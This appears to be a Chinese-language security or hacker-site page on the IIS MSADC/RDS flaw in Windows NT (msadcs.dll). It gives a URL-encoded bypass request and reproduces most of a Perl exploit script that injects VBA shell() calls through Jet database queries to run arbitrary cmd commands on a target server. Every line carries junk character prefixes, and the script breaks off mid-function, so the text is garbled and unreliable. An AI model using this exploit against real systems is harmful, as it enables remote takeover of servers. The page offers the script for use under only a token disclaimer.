IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
OEq8gpqY i>b^n+74> 涉及程序:
:tzCuK?e Microsoft NT server
hj0uv6t.c a/>={mbKi 描述:
|}'}TYX0: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{,P&05iSi i~ zL,/O8 详细:
QsI$4:yl 如果你没有时间读详细内容的话,就删除:
+de.!oY c:\Program Files\Common Files\System\Msadc\msadcs.dll
LLaoND6 有关的安全问题就没有了。
o*5|W9 0r:8ni%cL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]<++w;#+x ph^qQDA 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
B-r9\fi, 关于利用ODBC远程漏洞的描述,请参看:
r95$B6 -I\_v*nA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D/@:wY IE'OK 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
)oHIRsr http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q0ev*MS9Z {[)J~kC+ 这里不再论述。
V`@@ufU} j_p.KF'[? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
d~GT w: nCXIWLw /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9dy"Y~c 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
9Z7o?S"; )h>Cp,|{ [x-Z)Q.5 #将下面这段保存为txt文件,然后: "perl -x 文件名"
-$[=AqJXp; "+saI@G #!perl
.o.@cLdU #
jf .ikxm # MSADC/RDS 'usage' (aka exploit) script
:q^g+Bu= #
>{npg2 # by rain.forest.puppy
NTgk0cq #
]!h%Jlu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3lA<{m;V # beta test and find errors!
k{"~G#GwP ZNG.W0{p use Socket; use Getopt::Std;
|Q.?<T:wt= getopts("e:vd:h:XR", \%args);
/$I&D}uR` Qzb8*;4?FF print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&$vDC M4 }Ct_i'Ow if (!defined $args{h} && !defined $args{R}) {
p5G O@^i print qq~
4?72TBl] Usage: msadc.pl -h <host> { -d <delay> -X -v }
fN8A'p[ -h <host> = host you want to scan (ip or domain)
N#]f?6*R -d <seconds> = delay between calls, default 1 second
<NT /+>:2 -X = dump Index Server path table, if available
_xUiHX< -v = verbose
>N+e c_D^ -e = external dictionary file for step 5
Y5PIR9 - zS|%+er~zO Or a -R will resume a command session
]<W1edr *C's7O{O ~; exit;}
LFV;Y.-(h w#XE!8` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
H\^5>ccU>V if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
C=%go1! $ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8m-jU
5u if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ruF+X) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
od?Q&'A if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
AvP*p{we $T]1<3\G if (!defined $args{R}){ $ret = &has_msadc;
I2K52A+ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
HmRwh OXA_E/F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%#ms`"H . "cmd /c ";
/KlA7MH 6 $in=<STDIN>; chomp $in;
.- c3f1i $command="cmd /c " . $in ;
z9;vE7n! P]r"E if (defined $args{R}) {&load; exit;}
zXUE<\ C2ToT \^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dpJi5fN &try_btcustmr;
Mr/^V,rA >G/>:wwSP. print "\nStep 2: Trying to make our own DSN...";
MH{vFA4:, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3=sA]j-+( 6~$< print "\nStep 3: Trying known DSNs...";
I%{^i d@ &known_dsn;
YfF&: "-NU [J-r*t"! print "\nStep 4: Trying known .mdbs...";
gjyg`% &known_mdb;
]WyV~Dzz< b^hCm`2w* if (defined $args{e}){
.F)--% print "\nStep 5: Trying dictionary of DSN names...";
?vf\_R'M &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
as~. XWa rw_&t>Ri; print "Sorry Charley...maybe next time?\n";
'>'h7F=tY exit;
EkWe6m Qpf BM ##############################################################################
3<fJ5-z|- Ob0=ZW`+& sub sendraw { # ripped and modded from whisker
a;/4 ht sleep($delay); # it's a DoS on the server! At least on mine...
&~||<0m my ($pstr)=@_;
>fs-_>1d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
v`beql
die("Socket problems\n");
gY*Cl1 Iz if(connect(S,pack "SnA4x8",2,80,$target)){
Ra~n:$tg2 select(S); $|=1;
>[
72]<6 print $pstr; my @in=<S>;
3^1)W!n/ select(STDOUT); close(S);
SL@Vk( return @in;
fVR ~PG0 } else { die("Can't connect...\n"); }}
hTVN`9h7 >SfC '* 1 ##############################################################################
j]
M)i:n z13"S(5D~ sub make_header { # make the HTTP request
s/P\w"/fN my $msadc=<<EOT
rYm<U!k POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!4.;Ftgjn User-Agent: ACTIVEDATA
?:n{GK Host: $ip
tGM)"u- Content-Length: $clen
Vy-S9= Connection: Keep-Alive
P]dDTh~e~ iP'}eQn]c ADCClientVersion:01.06
|W:kzTT-T Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ua7I K~8l ~}4H=[Zu --!ADM!ROX!YOUR!WORLD!
nwcT8b87J Content-Type: application/x-varg
8Bhot,u'T Content-Length: $reqlen
:GL|: )2rI/=R EOT
:peBQ{bj ; $msadc=~s/\n/\r\n/g;
&[RC 4^;\V return $msadc;}
;F~GKn;} qc*+;Wi+5 ##############################################################################
xW"J@OiKL Mh3zl sub make_req { # make the RDS request
m\@Q/_v my ($switch, $p1, $p2)=@_;
;]nU-> my $req=""; my $t1, $t2, $query, $dsn;
V !FzVl=G ]p0m6}B if ($switch==1){ # this is the btcustmr.mdb query
i1aS2gFi_ $query="Select * from Customers where City=" . make_shell();
}zLe;1Tx $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$8_*LR$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
hc0VS3 k) mYt(`S*q elsif ($switch==2){ # this is general make table query
Txoc $query="create table AZZ (B int, C varchar(10))";
|l)Oy#W $dsn="$p1";}
TTy1a:V z$;%SYI elsif ($switch==3){ # this is general exploit table query
lD C74g $query="select * from AZZ where C=" . make_shell();
@X\nY</E#M $dsn="$p1";}
g`J? 2
_] "OK(<x]3;> elsif ($switch==4){ # attempt to hork file info from index server
JZP2NB_xt $query="select path from scope()";
-*yj[?6 $dsn="Provider=MSIDXS;";}
Iun!rv ap;UxWqx elsif ($switch==5){ # bad query
mT-5Ok&TUe $query="select";
8^< -; $dsn="$p1";}
u c7Y8iO 6;(Slkv $t1= make_unicode($query);
\DGm[/P $t2= make_unicode($dsn);
vv%Di.V $req = "\x02\x00\x03\x00";
deu+ i $req.= "\x08\x00" . pack ("S1", length($t1));
=4Ex'
%%(U $req.= "\x00\x00" . $t1 ;
\19XDqf8 $req.= "\x08\x00" . pack ("S1", length($t2));
nMVThN*Ig $req.= "\x00\x00" . $t2 ;
DB>>U>H- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
n,Ux>L return $req;}
*?KQ\ Y T6phD8# ##############################################################################
[$H8?J SB
\ptF sub make_shell { # this makes the shell() statement
]]`+aF0 return "'|shell(\"$command\")|'";}
D 3Int0n 1/1P;8F@G ##############################################################################
aG=Y 6j
G VQo7se1P sub make_unicode { # quick little function to convert to unicode
@d4zSG/s5w my ($in)=@_; my $out;
K90Zf for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
oM MU5sm return $out;}
wz6e^ g [N7[%iQ% ##############################################################################
J`"1DlH dYr# sub rdo_success { # checks for RDO return success (this is kludge)
G.oaDGy my (@in) = @_; my $base=content_start(@in);
E,C<ox4e if($in[$base]=~/multipart\/mixed/){
fylaH(LER return 1 if( $in[$base+10]=~/^\x09\x00/ );}
c wpDad[Kx return 0;}
5~.\rcr% D=dY4WwG ##############################################################################
$X\BO& 6xBP72L;%" sub make_dsn { # this makes a DSN for us
X.UIFcK^ my @drives=("c","d","e","f");
(Yw5X_|
print "\nMaking DSN: ";
gNZ^TeT foreach $drive (@drives) {
1p8E!c{}j print "$drive: ";
}#yRaIp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;W+.]_$6)T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
N8nyTPw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#Q$4EQB $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
DI$zyj~3 return 0 if $2 eq "404"; # not found/doesn't exist
X.272q<. if($2 eq "200") {
P, S9gG9 foreach $line (@results) {
4AF"+L return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
}.T$bj1B;V } return 0;}
T-5T`awf _$=xa6YA ##############################################################################
wkd591d* Fg,[=CqB[ sub verify_exists {
5<#H=A~( my ($page)=@_;
?W(wtp,o my @results=sendraw("GET $page HTTP/1.0\n\n");
!J:DBtGT return $results[0];}
OEAF. ]j{S' cz ##############################################################################
"&2D6 Dri1A% sub try_btcustmr {
jN*A"m my @drives=("c","d","e","f");
(U7%Z< my @dirs=("winnt","winnt35","winnt351","win","windows");
h_A}i2/{ LRbevpZ, foreach $dir (@dirs) {
WO}JIExy print "$dir -> "; # fun status so you can see progress
1":{$A?OB foreach $drive (@drives) {
aa".d[*1 print "$drive: "; # ditto
U7ajDw $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B8TI 5mZ4 $reqlenlen=length( "$reqlen" );
-Xd/-,zPY $clen= 206 + $reqlenlen + $reqlen;
qc`_&!*D kYR&t}jlCg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
j+c)% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
PN.=])7T else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"3hw]`a} %@rh\Z ##############################################################################
XHe= `__CL
)N| sub odbc_error {
?Z14l0iZ%d my (@in)=@_; my $base;
ucA6s:!={ my $base = content_start(@in);
U}qW9X;o if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
iSsy_ | $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3cfkJ|fuwe $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O%+:fJz6wI $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m&$H?yXW> return $in[$base+4].$in[$base+5].$in[$base+6];}
Z-vzq; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ak9W8Z} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
U2Ur N?T $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
)FHaJ*&d _6(zG.Fg ##############################################################################
{+r?g J \|T0@V sub verbose {
D(r|sw
my ($in)=@_;
,-{j. return if !$verbose;
u_Q3v9 print STDOUT "\n$in\n";}
>2v_fw [I^SKvM ##############################################################################
Vy5Q+gw ~w$8*2D sub save {
m_]"L my ($p1, $p2, $p3, $p4)=@_;
z5i!GJB open(OUT, ">rds.save") || print "Problem saving parameters...\n";
5w1=j\oq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Ri-I+7(n! close OUT;}
Gu%`__ =ecv;uu2 ##############################################################################
_zpn+XVdQ IC{>q3 sub load {
I|`K;a
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[6-l6W open(IN,"<rds.save") || die("Couldn't open rds.save\n");
AX1\L|tJS @p=<IN>; close(IN);
fIBLJ53 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
wLgRI$_Dm $target= inet_aton($ip) || die("inet_aton problems");
=tog<7 print "Resuming to $ip ...";
c`t1:%S $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
4 5Ql7~ if($p[1]==1) {
{`3;Pd` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
De^is^{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#~#_)\l'F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
nxH$$}9 if (rdo_success(@results)){print "Success!\n";}
r^
"mPgY else { print "failed\n"; verbose(odbc_error(@results));}}
yDyq. -Q elsif ($p[1]==3){
t^7R6y if(run_query("$p[3]")){
yk#:.5H print "Success!\n";} else { print "failed\n"; }}
@E==~ b elsif ($p[1]==4){
~ib#x~Db if(run_query($drvst . "$p[3]")){
@L~y%# print "Success!\n"; } else { print "failed\n"; }}
'17=1\Ss6; exit;}
~pF'Qw"z| o+ tY[UX ##############################################################################
&bL1G(} "@f`O sub create_table {
h`vM+,I my ($in)=@_;
*wSl~J|ZM% $reqlen=length( make_req(2,$in,"") ) - 28;
#Y{"`5> $reqlenlen=length( "$reqlen" );
&FK=w]P $clen= 206 + $reqlenlen + $reqlen;
HML6<U-eS my @results=sendraw(make_header() . make_req(2,$in,""));
3^fZUldf return 1 if rdo_success(@results);
!~mN"+u& my $temp= odbc_error(@results); verbose($temp);
F`ihw[
Wn return 1 if $temp=~/Table 'AZZ' already exists/;
dyx4_!fO return 0;}
-9Can4 w6cPd' ##############################################################################
_ WSJg1 X0U6: sub known_dsn {
qM9GW`CKA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
f/=0 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ec3('}X "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
):\pD]e "banner", "banners", "ads", "ADCDemo", "ADCTest");
[XQNgSy?z )kd)v4# foreach $dSn (@dsns) {
%r>vZ/>a print ".";
"Srp/g]a next if (!is_access("DSN=$dSn"));
N7M^ if(create_table("DSN=$dSn")){
)q=1<V44d print "$dSn successful\n";
JRo{z{!O6 if(run_query("DSN=$dSn")){
V,Gt5lL&/! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
aI\VqOt] print "Something's borked. Use verbose next time\n";}}} print "\n";}
-I|yi' tb=(L ##############################################################################
<<`."RY#0 RSnK`N\9jb sub is_access {
kNjbpCE\! my ($in)=@_;
}5]NUxQ_ $reqlen=length( make_req(5,$in,"") ) - 28;
*in_Zt3 $reqlenlen=length( "$reqlen" );
HK-?<$Yc $clen= 206 + $reqlenlen + $reqlen;
o?X\,}-s my @results=sendraw(make_header() . make_req(5,$in,""));
grS,PKH my $temp= odbc_error(@results);
tl4;2m3w verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SMhT>dB return 0;}
nBD7 2?"9NQvz ##############################################################################
G?"1
z; h?R-t*G? sub run_query {
\fKv+ my ($in)=@_;
SKS[Lf $reqlen=length( make_req(3,$in,"") ) - 28;
F0|T%!FB>% $reqlenlen=length( "$reqlen" );
'WOWm$2 $clen= 206 + $reqlenlen + $reqlen;
Jrffb=+b my @results=sendraw(make_header() . make_req(3,$in,""));
dB/Epc& return 1 if rdo_success(@results);
wJgM.V"yb my $temp= odbc_error(@results); verbose($temp);
%|u"0/ return 0;}
k9bU< >a0;|;hp ##############################################################################
HKh)T$IZM pkT
a^I sub known_mdb {
i@p?.%K{ my @drives=("c","d","e","f","g");
hyBSS,I my @dirs=("winnt","winnt35","winnt351","win","windows");
; w+A38N$J my $dir, $drive, $mdb;
F^w0TD8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j`#|z9`(pB H,?MG # this is sparse, because I don't know of many
: i(h[0 my @sysmdbs=( "\\catroot\\icatalog.mdb",
z;3}GxE-si "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
xA-G&oC]<T "\\system32\\certmdb.mdb",
{:rU5 !n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
())|x[>JS+ rLVAI#ci= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0p#36 czqy "\\cfusion\\cfapps\\forums\\forums_.mdb",
Lr+2L_/v` "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7f(UbO@BD "\\cfusion\\cfapps\\security\\realm_.mdb",
QvqBT "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~+d]yeDrhx "\\cfusion\\database\\cfexamples.mdb",
N@)g3mX> "\\cfusion\\database\\cfsnippets.mdb",
dk.da&P "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
G +YF "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
` n_ Z "\\cfusion\\brighttiger\\database\\cleam.mdb",
Y6CadC "\\cfusion\\database\\smpolicy.mdb",
i&l$G55F "\\cfusion\\database\cypress.mdb",
ZNx{7]=a "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Na`qA j} "\\website\\cgi-win\\dbsample.mdb",
R<wb8iir "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
57oY]NT? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a $KM
q> ); #these are just
<oeHZD_OR foreach $drive (@drives) {
T@z$g foreach $dir (@dirs){
&